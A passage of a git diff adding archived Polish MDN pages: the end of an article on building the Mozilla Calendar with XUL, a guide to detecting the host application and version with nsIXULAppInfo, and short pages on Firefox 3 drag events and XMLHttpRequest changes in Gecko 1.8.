+<p><em>XUL provides a rich set of UI components.</em> The user interface for the Calendar is written entirely in XUL, JavaScript, and CSS, which is a testament to the power and flexibility of this application building framework. It uses simple XUL components like boxes, grids, and stacks to compose views for the weeks, days, and months. The initial implementation of Calendar did not exploit XBL because the developers involved were not experienced with this complementary technology. But future plans for the Calendar include converting many of these UI components to XBL widgets to further simplify their implementation.</p>
+
+<p><em>XPCOM/XPConnect enables integration of native code.</em> A fully-featured open source calendar library, libical (<a class="external" href="http://www.softwarestudio.org/libical/" rel="freelink">http://www.softwarestudio.org/libical/</a>), was harvested for the Calendar project. Libical is an Open Source implementation of the IETF's iCalendar Calendaring and Scheduling protocols. (<a class="external" href="http://tools.ietf.org/html/rfc2445" title="http://tools.ietf.org/html/rfc2445">RFC 2445</a>, 2446, and 2447). It parses iCal components and provides a C API for manipulating the component properties, parameters, and subcomponents. The library was initially integrated by writing an XPCOM wrapper to adapt its interface. To improve performance a greater proportion of application logic was migrated from JavaScript to the XPCOM component.</p>
+
+<p><em>Separation of presentation from logic makes applications resilient to change.</em> The original UI implementation made extensive use of graphics for rendering the month and week views. Later, as the developers learned more about XUL and the implementation of the basic components matured, better ways were identified to simplify the composition of the UI. This lead to increased screen drawing performance and reduced memory and disk footprint requirements of the application. The UI for the month and week views was practically rewritten while the application logic remained virtually unchanged.</p>
+
+<p><em>Porting XUL applications to other platforms is trivial.</em> The Calendar originated as a Linux application with no consideration given to porting it to other platforms. But later, when the original developer (OEone Corporation) contributed the source to the Mozilla project, the Calendar had to be migrated to the Windows and Macintosh platforms. The UI for the XUL application required zero porting effort because it worked with almost no alteration on both new platforms. Similarly, since the UI code is written in JavaScript, the interaction logic worked with no effort. However, since the libical library is written in C, more significant effort was required to migrate this component to the other platforms.</p>
+
+<p>Fortunately an implementation of the libical library was already available for Macintosh so, with the cross platform nature of XPCOM, a Macintosh calendar implementation was working within a few days. However, there was no existing Win32 port available, so developers had to undertake a porting effort to migrate libical to Windows. Within a week this too was complete and Mozilla had a working calendar for all three primary platforms: Linux, Macintosh, and Windows.</p>
+
+<p><em>XPInstall is easy for developers and for users.</em> The Calendar is not a planned deliverable for the Mozilla 1.0 release, and therefore is not included as a standard component in regular nightly and milestone release builds. Developers who are equipped with the software and knowledge required to compile Mozilla can set an optional environment variable and build the Calendar themselves. But many Mozilla users who want to try out the Calendar can't afford this luxury. Using XPInstall it was easy for the developers to package a version of Calendar that could be installed directly over the Internet by clicking a link.</p>
+
+<h3 id="Wnioski" name="Wnioski">Wnioski</h3>
+
+<p>Mozilla, featuring XUL, delivers a compelling technology for developing cross platform applications with the same rich user interface and end user experience as native desktop applications. Designers who are experienced in building web applications using W3C standard technologies can leverage this experience from the browser directly to the desktop.</p>
+
+<p>Before the web became the standard for delivering applications to users across disparate desktops, this problem was solved with cross platform client-server tools. But these offerings were invariably proprietary, cost a substantial amount of money per developer, and had runtime license fees that kept you humble and tightly tethered to the vendor. Mozilla delivers much of the same value as these cross platform tools, but with an open source license.</p>
+
+<p>As a rapidly maturing cross platform technology, XUL could fill an interesting void for technologies such as Java J2EE and Microsoft .Net which focus on enabling network access to distributed objects. Dynamic application logic can benefit significantly from a UI presentation layer that is standards-based, scriptable, extensible, and similarly distributable over the Internet.</p>
+
+<p>XUL blurs the distinction between desktop application and Internet browser apps because it is firmly entrenched in both worlds. Some web applications will benefit from being migrated to XUL because of the enhanced UI capabilities, consistent implementation of the specification across supported platforms, and access to native resources such as shared libraries and the local file system.</p>
+
+<p>Whether you need to migrate an existing web application to the desktop, are looking for a technology that will enable you to easily port your applications to multiple platforms, or want to integrate your own cool features into the browser, XUL warrants serious consideration.</p>
+
+<h3 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h3>
+
+<ol>
+ <li>Dokumentacja <a href="/pl/XUL" title="pl/XUL">XUL</a>-a na MDC włącznie z <a href="/pl/Kurs_XUL" title="pl/Kurs_XUL">kursem XUL</a> oraz <a href="/pl/Dokumentacja_XUL" title="pl/Dokumentacja_XUL">dokumentacją XUL</a></li>
+ <li><a href="/pl/Nak%C5%82adki_XUL" title="pl/Nakładki_XUL">Nakładki XUL</a></li>
+ <li>Dokumentacja <a href="/pl/XBL" title="pl/XBL">XBL</a>-a: <a href="/pl/Kurs_XUL/Wprowadzenie_do_XBL" title="pl/Kurs_XUL/Wprowadzenie_do_XBL">Wprowadzenie do XBL</a>, <a href="/pl/XBL/Dokumentacja_XBL_1.0" title="pl/XBL/Dokumentacja_XBL_1.0">Dokumentacja XBL</a></li>
+ <li>Dokumentacja <a href="/pl/XPCOM" title="pl/XPCOM">XPCOM</a></li>
+ <li>Dokumentacja <a href="/pl/XPConnect" title="pl/XPConnect">XPConnect</a> (Scriptable components). Zobacz także <a class="external" href="http://www.mozilla.org/scriptable/" rel="freelink">http://www.mozilla.org/scriptable/</a></li>
+ <li>Dokumentacja <a href="/pl/Rozszerzenia" title="pl/Rozszerzenia">rozszerzeń</a> włącznie z przykładem wprowadzającym <a href="/pl/Tworzymy_rozszerzenie" title="pl/Tworzymy_rozszerzenie">Tworzymy rozszerzenie</a></li>
+ <li><a class="external" href="http://www.mozilla.org/projects/calendar/">Strona projektu kalendarza Mozilli</a></li>
+</ol>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+
+<ul>
+ <li>Author: Peter Bojanic</li>
+</ul>
+</div>
diff --git a/files/pl/zastosowanie_nsixulappinfo/index.html b/files/pl/zastosowanie_nsixulappinfo/index.html
new file mode 100644
index 0000000000..6db49f9ad3
--- /dev/null
+++ b/files/pl/zastosowanie_nsixulappinfo/index.html
@@ -0,0 +1,109 @@
+---
+title: Zastosowanie nsIXULAppInfo
+slug: Zastosowanie_nsIXULAppInfo
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+translation_of: Archive/Mozilla/XUL/Using_nsIXULAppInfo
+---
+<p>
+Począwszy od Mozilla/<a href="pl/XULRunner">XULRunner</a> 1.8 istnieje sposób na dowiedzenie się na jakiej aplikacji, wersji aplikacji i wersji <a href="pl/Gecko">Gecko</a> pracuje Twój kod.
+</p><p>Jest to bardzo przydatne np. dla <a href="pl/Rozszerzenia">rozszerzeń</a>, które obsługują kilka aplikacji opartych o Mozillę lub kilka wersji pojedynczej aplikacji. <b>Nie</b> jest to przydatne dla skryptów na stronach internetowych, które powinny nadal używać <a href="pl/DOM/window.navigator">obiektu navigator</a>, gdy nie jest możliwa detekcja na podstawie cech przeglądarki.
+</p>
+<h2 id="Interfejs_nsIXULAppInfo"> Interfejs <code>nsIXULAppInfo</code> </h2>
+<p>Aby rozdróżnić różne aplikacje oparte o Mozillę, użyj zamrożonego interfejsu <a href="pl/NsIXULAppInfo">nsIXULAppInfo</a>. Poniższe fragmenty zawierają kilka przykładów użycia <code>nsIXULAppInfo</code> z poziomu JavaScriptu.
+</p><p>Zauważ że, mimo iż Firefox 1.5, Thunderbird 1.5 i inne aplikacje oparte o <a href="pl/XULRunner">XULRunnera</a> 1.8 obsługują <code>nsIXULAppInfo</code>, starsze aplikacje, takie jak Firefox i Thunderbird 1.0, nie obsługują go. Będziesz musiał napisać <a href="#old">dodatkowy kod dla starszych wersji</a>.
+</p>
+<h3 id="Uzyskiwanie_nsIXULAppInfo"> Uzyskiwanie <code>nsIXULAppInfo</code> </h3>
+<p>Aby uzyskać komponent implementujący <code>nsIXULAppInfo</code> użyj tego kodu:
+</p>
+<pre class="eval">var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
+ .getService(Components.interfaces.nsIXULAppInfo);
+</pre>
+<p>(Po więcej wyjaśnień zajrzyj na <a class="external" href="http://xulplanet.com/references/xpcomref/creatingcomps.html">ten artykuł z XUL Planet</a>.)
+</p>
+<h3 id="Uzyskiwanie_informacji_o_aplikacji"> Uzyskiwanie informacji o aplikacji </h3>
+<p>Po otrzymaniu komponentu możesz odczytać jego własności, aby uzyskać identyfikator aplikacji, nazwę rozumianą przez człowieka, wersję, platformę itd. Aby zobaczyć pełną listę własności <code>nsIXULAppInfo</code>, zobacz opis interfejsu <a href="pl/NsIXULAppInfo">nsIXULAppInfo</a>.
+</p>
+<h4 id="Identyfikator"> Identyfikator </h4>
+<p>Możesz dowiedzieć się na jakiej aplikacji pracujesz poprzez użycie własności <code>nsIXULAppInfo.ID</code>.
+</p>
+<pre class="eval">const FIREFOX_ID = "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}";
+const THUNDERBIRD_ID = "{3550f703-e582-4d05-9a08-453d09bdfdc6}";
+var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
+ .getService(Components.interfaces.nsIXULAppInfo);
+if(appInfo.ID == FIREFOX_ID) {
+ // pracujemy pod Firefoksem
+} else if(appInfo.ID == THUNDERBIRD_ID) {
+ // pracujemy pod Thunderbirdem
+} else {
+ // inna aplikacja
+}
+</pre>
+<p>Uwaga: możesz również użyć własności <code>nsIXULAppInfo.name</code>, która zwraca nazwę bardziej przyjazną dla człowieka, taką jak "Firefox" - ale kto wie, może znowu zmienią jej nazwę!
+</p>
+<h4 id="Wersja"> Wersja </h4>
+<p>Czasami musisz znać wersję aplikacji, na której działa Twój kod. Przykładowo, jedna z odmrożonych funkcji, na której polegałeś, została zmieniona.
+</p><p><b>Uwaga: <code>nsIXULAppInfo</code> dostarcza informacji o <i>aplikacji</i> i <i>platformie</i>, bądź więc ostrożny i wybierz właściwą, zwłaszcza przy obsłudze aplikacji opartych o XULRunnera.</b>
+</p><p>W takim przypadku chciałbyś prawdopodobnie sprawdzić <code>nsIXULAppInfo.version</code> i/lub <code>nsIXULAppInfo.appBuildID</code>. Druga własność jest użyteczna, jeśli zamierzasz obsługiwać rozwojowe wersje nightly aplikacji, natomiast pierwsza, gdy zamierzasz wspierać tylko oficjalne wydania wprowadzając rozróżnienie między kompilacjami gałęzi a kompilacjami pnia.
+</p><p><b>Przykład 1: sprawdzenie wersji Firefoksa</b>
+</p>
+<pre class="eval">// przyjmując, że pracujemy pod Firefoksem
+var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
+ .getService(Components.interfaces.nsIXULAppInfo);
+var versionChecker = Components.classes["@mozilla.org/xpcom/version-comparator;1"]
+ .getService(Components.interfaces.nsIVersionComparator);
+if(versionChecker.compare(appInfo.version, "1.5") &gt;= 0) {
+ // używamy Firefoksa 1.5 lub późniejszego
+}
+</pre>
+<p><b>Przykład 2: radzimy sobie z wersjami nightly</b>
+</p>
+<pre class="eval">var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
+ .getService(Components.interfaces.nsIXULAppInfo);
+if(appInfo.appBuildID &gt;= "2005093006") {
+ // używamy kompilacji 2005093006 lub nowszej
+}
+</pre>
+<p>Nie powinieneś polegać na identyfikatorach kompilacji w przypadku wydań, ponieważ mogą one być różne dla konkretnych kompilacji lub zlokalizowanych wersji aplikacji.
+</p>
+<h4 id="Wersja_platformy"> Wersja platformy </h4>
+<p><code>nsIXULAppInfo</code> dostarcza informacji zarówno o aplikacji (jak na przykład Firefoksie) i platformie (tzn. Gecko lub XULRunner). Na przykład, w Firefoksie 1.5 beta 2 wersja aplikacji to 1.4.1, a wersja platformy to 1.8b5. Bądź ostrożny przy korzystaniu z tych informacji, zwłaszcza przy obsłudze aplikacji opartych o XULRunnera.
+</p><p>Uzyskiwanie informacji o wersji platformy wygląda następująco:
+</p>
+<pre class="eval">var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
+ .getService(Components.interfaces.nsIXULAppInfo);
+var platformVer = appInfo.platformVersion;
+var platformBuildID = appInfo.platformBuildID;
+</pre>
+<p>&lt;s id="old"&gt;
+&lt;/s&gt;</p>&lt;s id="old"&gt;
+<h2 id="Starsze_wersje"> Starsze wersje </h2>
+<p>Jak wspomniano wyżej, starsze wersji aplikacji oparte o Mozillę 1.7 nie obsługują <code>nsIXULAppInfo</code>. Musisz napisać dodatkowy kod, jeśli zdecydujesz się na ich obsługę.
+</p><p>Na przykład, Firefox i Thunderbird 1.0 przechowywały swoje identyfikatory w opcji <code>app.id</code> (a wersje w <code>app.version</code>), więc mógłbyś użyć kodu takiego jak ten, by dowiedzieć się na jakiej aplikacji pracujesz:
+</p>
+<pre class="eval">function getAppID() {
+ var id;
+ if("@mozilla.org/xre/app-info;1" in Components.classes) {
+ // running under Mozilla 1.8 or later
+ id = Components.classes["@mozilla.org/xre/app-info;1"]
+ .getService(Components.interfaces.nsIXULAppInfo).ID;
+ } else {
+ try {
+ id = Components.classes["@mozilla.org/preferences-service;1"]
+ .getService(Components.interfaces.nsIPrefBranch)
+ .getCharPref("app.id");
+ } catch(e) {
+ // bardzo stara wersja
+ dump(e);
+ }
+ }
+ return id;
+}
+alert(getAppID());
+</pre>
+<h2 id="Zobacz_także"> Zobacz także </h2>
+<ul><li> MXR: <a href="https://dxr.mozilla.org/mozilla-central/source/xpcom/system/nsIXULAppInfo.idl" rel="custom">nsIXULAppInfo.idl</a>
+</li></ul>
+&lt;/s&gt;
diff --git a/files/pl/zdarzenia_przeciągania_i_upuszczania/index.html b/files/pl/zdarzenia_przeciągania_i_upuszczania/index.html
new file mode 100644
index 0000000000..ad1f734dc4
--- /dev/null
+++ b/files/pl/zdarzenia_przeciągania_i_upuszczania/index.html
@@ -0,0 +1,30 @@
+---
+title: Zdarzenia przeciągania i upuszczania
+slug: Zdarzenia_przeciągania_i_upuszczania
+tags:
+ - Firefox 3
+translation_of: Archive/Mozilla/Drag_and_drop/Drag_and_drop_events
+---
+<p>{{ Fx_minversion_header(3) }} W programie Firefox 3 dodano dwa nowe zdarzenia umożliwiające wykrycie rozpoczęcia i zakończenia operacji przeciągania. Zdarzenia te stanowią nowość w obecnej wersji roboczej specyfikacji języka HTML w wersji 5.
+</p>
+<dl><dt><code>drag</code>
+</dt><dd>Wysyłany przy rozpoczęciu operacji przeciągania.
+</dd><dt><code>dragend</code>
+</dt><dd>Wysyłany przy zakończeniu operacji przeciągania.
+</dd></dl>
+<p>Aby uzyskać więcej informacji o technice przeciągania i upuszczania, zapoznaj się z artykułem <a href="pl/Przeci%c4%85ganie_i_upuszczanie">Przeciąganie i upuszczanie</a>.
+</p><p>Poniżej umieszczono odnośniki do stron z przykładami zastosowania omawianych zdarzeń:
+</p>
+<ul><li> <a class="external" href="http://developer.mozilla.org/samples/dragdrop/dragevents.txt">Pokaż źródło</a>
+</li><li> <a class="external" href="http://developer.mozilla.org/samples/dragdrop/dragevents.html">Pokaż przykład</a>
+</li></ul>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<ul><li> <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#dnd">Wersja robocza specyfikacji HTML 5: Przeciąganie i upuszczanie</a>
+</li><li> <a href="pl/Przeci%c4%85ganie_i_upuszczanie">Przeciąganie i upuszczanie</a>
+</li><li> {{ Interface("nsIDragService") }}
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Drag_and_drop_events", "es": "es/Eventos_arrastrar_y_soltar", "fr": "fr/\u00c9v\u00e8nements_de_glisser-d\u00e9poser", "ja": "ja/Drag_and_drop_events" } ) }}
diff --git a/files/pl/zmiany_w_obiekcie_xmlhttprequest_w_gecko_1.8/index.html b/files/pl/zmiany_w_obiekcie_xmlhttprequest_w_gecko_1.8/index.html
new file mode 100644
index 0000000000..f99ee444de
--- /dev/null
+++ b/files/pl/zmiany_w_obiekcie_xmlhttprequest_w_gecko_1.8/index.html
@@ -0,0 +1,21 @@
+---
+title: Zmiany w obiekcie XMLHttpRequest w Gecko 1.8
+slug: Zmiany_w_obiekcie_XMLHttpRequest_w_Gecko_1.8
+tags:
+ - AJAX
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+ - XMLHttpRequest
+translation_of: Mozilla/XMLHttpRequest_changes_for_Gecko_1.8
+---
+<p>
+</p><p>Dokument ten opisuje niektóre zmiany dokonane w implementacji <a href="pl/XMLHttpRequest">XMLHttpRequest</a> w <a href="pl/Gecko">Gecko</a> od wersji 1.7 (tj. wersji Gecko zaimplementowanej w Firefoxie 1.0). Zmiany te odnoszą się wyłącznie do rozszerzeń oraz aplikacji XUL-a. Nie dotyczą aplikacji sieciowych.
+</p>
+<h3 id="Zmiany_w_XMLHttpRequest.send" name="Zmiany_w_XMLHttpRequest.send"> Zmiany w XMLHttpRequest.send </h3>
+<p>Jeśli przekażesz instancje <a href="pl/NsIInputStream">nsIInputStream</a> do metody <code>send</code> nie trzeba załączać nagłówków &lt;tt&gt;Content-Length&lt;/tt&gt; oraz &lt;tt&gt;Content-Type&lt;/tt&gt; na początku ciągu. Natomiast nagłówek &lt;tt&gt;Content-Length&lt;/tt&gt; zostanie wywnioskowany na podstawie długości ciągu, a nagłówek &lt;tt&gt;Content-Type&lt;/tt&gt; musi być podany ręcznie przez wywołanie metody <code>setRequestHeader</code>. Powyższe wymagania opisane są w <a class="external" href="http://lxr.mozilla.org/mozilla1.8/source/extensions/xmlextras/base/public/nsIXMLHttpRequest.idl#213">nsIXMLHttpRequest.idl</a>.
+</p>
+<h3 id="Zmiany_w_XMLHttpRequest.onreadystatechange" name="Zmiany_w_XMLHttpRequest.onreadystatechange"> Zmiany w XMLHttpRequest.onreadystatechange </h3>
+<p>Atrybut ten jest aktualnie typu <code>nsIOnReadyStateChangeHandler</code> zamiast
+<code>nsIOnReadystatechangeHandler</code> ("S" oraz "C" w nazwie typu zostały zmienione na duże litery).
+</p>{{ languages( { "en": "en/XMLHttpRequest_changes_for_Gecko1.8", "es": "es/XMLHttpRequest_cambios_en_Gecko1.8", "fr": "fr/Changements_dans_XMLHttpRequest_pour_Gecko_1.8", "it": "it/Cambiamenti_di_XMLHttpRequest_in_Gecko1.8", "ja": "ja/XMLHttpRequest_changes_for_Gecko1.8", "ko": "ko/XMLHttpRequest_changes_for_Gecko1.8" } ) }}